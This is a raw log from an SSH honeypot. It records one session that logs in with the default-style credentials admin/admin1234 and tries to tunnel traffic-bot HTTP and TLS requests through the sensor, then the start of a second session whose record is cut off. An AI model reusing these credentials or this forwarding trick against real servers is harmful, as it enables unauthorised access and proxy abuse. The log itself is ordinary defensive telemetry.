{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:25.453013Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:26.612092Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:27.023219Z","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:27.100220Z","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:27.287701Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 7.1; Mobile; rv:76.0) Gecko/76.0 Firefox/76.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1178\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=T1lsUjElWUxtZGU8MkY5MA%3D%3DnLFd09IWGtEQhacr5e0K3kRLepG84NBh%2Ftl2fVqre%2Bwx62Rlp%2B9IaY%2BIKx3%2BOfgSAV40VIcpS1b%2FyEftReH%2FD3q2V8JudVCZtsPDLvYF19hQbc9z2VvxeActGV2zYSc%2B7OXpRg%2FrSBUpHNWN1caiiHERdbWD740GVvUVtRd%2Fnao76NIQTzauTYuorgGwhaFhgXyfAbdWhwz26hbRmNZp4i6WEgJTwebkKCwcEcbrOpYKSL0L1MGMMPNrNcAZJSByWMLpmIEbIb2s74VqssbewDMYDCTKIpk%2FzkxWZmzdTFWRdDoMsBfE%2FhYPYF7d5%2FArPkBOPQA8%2BohZklud7B0PeiQ6X3Oipmv9Y9TBdo253FXxW%2Fa2fEuWnb9X5L%2FNz%2BxPmIWQBAEm9yVPL5Ibzejc09gfbUoA0qiFjPBU0uEZy61vU70j2X9MVm2smQOZJs6yp3Gir71w7ux81e3Ct%2BgXE01FaEdfAXIMMmw35SmaKSbgJAUtWuxGMkxfe14i%2BUYA0W7bpTscT2FQxOqGUFFVYufPhLnHsZRhQbr3zu95vEHrr05Z8hYFfPh7qvVE1wi3mV9AUUrpTdQKiK4X3RJxxL%2F8hIC1y%2FwFt5A4IIXUlcWpwfvUvX5Dvhl%2B4iWpBi73D2rccHe7Cz8degd1MjQkrR9S9I3UO511PGrMlP9TKcUt5jM0IZMFnYp25grd9jdxeSEoHCRgRi4HQYldOiPQWOLZyZI4O9SIcqA1T0A9vsjUxJiFAaPkiVupa3qGx6aKRk1vAzd9Ysphja2ESjhB7EEtkUwpVg9FtLtft%2B8wsxkzr%2BH5S5ICXz12pzO%2BQrs%2Bg2lcBs5%2F9Ejl9BFPhteZMB6yoIWVMH0UYkBmTbKJueDksHoMHrsT0e8aBveRKOO3aXyZl8XHTg3o16jp2N79sUQbiFu%2Bzk81DC8orAhAjgC7KaLlAVHwJk7WzN6OLwdJkZSJdPbEKTwylyYnYJMBVrsqlME3rotZ7sASU8fv0Jv%2FiLnfZhwI9IdENW9sf6qFg0yqmC8ZsvNXRmmu7TBSkuC%2FQXu7b9MRvVjhPxPWYRFPPTW6D8Lqo8nI460jfusZ'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 7.1; Mobile; rv:76.0) Gecko/76.0 Firefox/76.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1178\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=T1lsUjElWUxtZGU8MkY5MA%3D%3DnLFd09IWGtEQhacr5e0K3kRLepG84NBh%2Ftl2fVqre%2Bwx62Rlp%2B9IaY%2BIKx3%2BOfgSAV40VIcpS1b%2FyEftReH%2FD3q2V8JudVCZtsPDLvYF19hQbc9z2VvxeActGV2zYSc%2B7OXpRg%2FrSBUpHNWN1caiiHERdbWD740GVvUVtRd%2Fnao76NIQTzauTYuorgGwhaFhgXyfAbdWhwz26hbRmNZp4i6WEgJTwebkKCwcEcbrOpYKSL0L1MGMMPNrNcAZJSByWMLpmIEbIb2s74VqssbewDMYDCTKIpk%2FzkxWZmzdTFWRdDoMsBfE%2FhYPYF7d5%2FArPkBOPQA8%2BohZklud7B0PeiQ6X3Oipmv9Y9TBdo253FXxW%2Fa2fEuWnb9X5L%2FNz%2BxPmIWQBAEm9yVPL5Ibzejc09gfbUoA0qiFjPBU0uEZy61vU70j2X9MVm2smQOZJs6yp3Gir71w7ux81e3Ct%2BgXE01FaEdfAXIMMmw35SmaKSbgJAUtWuxGMkxfe14i%2BUYA0W7bpTscT2FQxOqGUFFVYufPhLnHsZRhQbr3zu95vEHrr05Z8hYFfPh7qvVE1wi3mV9AUUrpTdQKiK4X3RJxxL%2F8hIC1y%2FwFt5A4IIXUlcWpwfvUvX5Dvhl%2B4iWpBi73D2rccHe7Cz8degd1MjQkrR9S9I3UO511PGrMlP9TKcUt5jM0IZMFnYp25grd9jdxeSEoHCRgRi4HQYldOiPQWOLZyZI4O9SIcqA1T0A9vsjUxJiFAaPkiVupa3qGx6aKRk1vAzd9Ysphja2ESjhB7EEtkUwpVg9FtLtft%2B8wsxkzr%2BH5S5ICXz12pzO%2BQrs%2Bg2lcBs5%2F9Ejl9BFPhteZMB6yoIWVMH0UYkBmTbKJueDksHoMHrsT0e8aBveRKOO3aXyZl8XHTg3o16jp2N79sUQbiFu%2Bzk81DC8orAhAjgC7KaLlAVHwJk7WzN6OLwdJkZSJdPbEKTwylyYnYJMBVrsqlME3rotZ7sASU8fv0Jv%2FiLnfZhwI9IdENW9sf6qFg0yqmC8ZsvNXRmmu7TBSkuC%2FQXu7b9MRvVjhPxPWYRFPPTW6D8Lqo8nI460jfusZ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:27.290790Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:27.545645Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@T)f\\xc8Wv|\\xb2\\xb4\\x86\\xb2\\x15{\\xf4\\xce\\x8b'n\\xc2\\xff\\xfb\\xda\\xef<z\\x0c%+\\xf6\\xc8\\x0e \\xa3o\\xb3p\\x1cq\\xba\\x7f@uR\\x0e\\x19\\x07E\\x90yY\\xc28y\\xa3.\\xd8m^\\x9b\\xdfN1yK\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1Z@}\\xca\\xa9\\xee\\xac\\x1aFR\\xad$W\\xeb\\x88\\x1f\\xbfP)\\xc6\\xb7V\\xb0\\xf7\\x05JY\\xf0\\xeb\\x817\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@T)f\\xc8Wv|\\xb2\\xb4\\x86\\xb2\\x15{\\xf4\\xce\\x8b'n\\xc2\\xff\\xfb\\xda\\xef<z\\x0c%+\\xf6\\xc8\\x0e \\xa3o\\xb3p\\x1cq\\xba\\x7f@uR\\x0e\\x19\\x07E\\x90yY\\xc28y\\xa3.\\xd8m^\\x9b\\xdfN1yK\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1Z@}\\xca\\xa9\\xee\\xac\\x1aFR\\xad$W\\xeb\\x88\\x1f\\xbfP)\\xc6\\xb7V\\xb0\\xf7\\x05JY\\xf0\\xeb\\x817\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:27.550212Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:28.059945Z","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:28.323255Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3\\xc7~J\\x93\\xee\\x83\\xf1-\\xf8.B\\xb1\\xfe7\\xc9\\\\\\x1a\\x85Yea\\x18\\x9f\\xb9\\xca7\\xc9\\tG\\xcbh \\xc6@\\xc9~6\\xbd$d\\xdd\\x8e\\x88\\xa1TI\\x8f\\xf5\\x11G\\xccA\\xb5\\xcc6\\xd6\\x07,\\x98\\xfd\\x0bl\\xd33\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 Tf!\\xa9\\xc8\\x9a\\x9d\\xa7?\\xf2\\xd7\\x8eQ\\nc\\n\\xd7Cu.\\xbc\\x89\\xa3\\xb5\\x9b\\x82j\\xff\\xfeYAc\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3\\xc7~J\\x93\\xee\\x83\\xf1-\\xf8.B\\xb1\\xfe7\\xc9\\\\\\x1a\\x85Yea\\x18\\x9f\\xb9\\xca7\\xc9\\tG\\xcbh \\xc6@\\xc9~6\\xbd$d\\xdd\\x8e\\x88\\xa1TI\\x8f\\xf5\\x11G\\xccA\\xb5\\xcc6\\xd6\\x07,\\x98\\xfd\\x0bl\\xd33\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 Tf!\\xa9\\xc8\\x9a\\x9d\\xa7?\\xf2\\xd7\\x8eQ\\nc\\n\\xd7Cu.\\xbc\\x89\\xa3\\xb5\\x9b\\x82j\\xff\\xfeYAc\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:28.326869Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:28.732043Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49558,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e1bd58e1ea7","protocol":"ssh","message":"New connection: 123.27.168.40:49558 (10.17.0.5:22) [session: 1e1bd58e1ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:28.755978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:28.763476Z","src_ip":"123.27.168.40","session":"1e1bd58e1ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 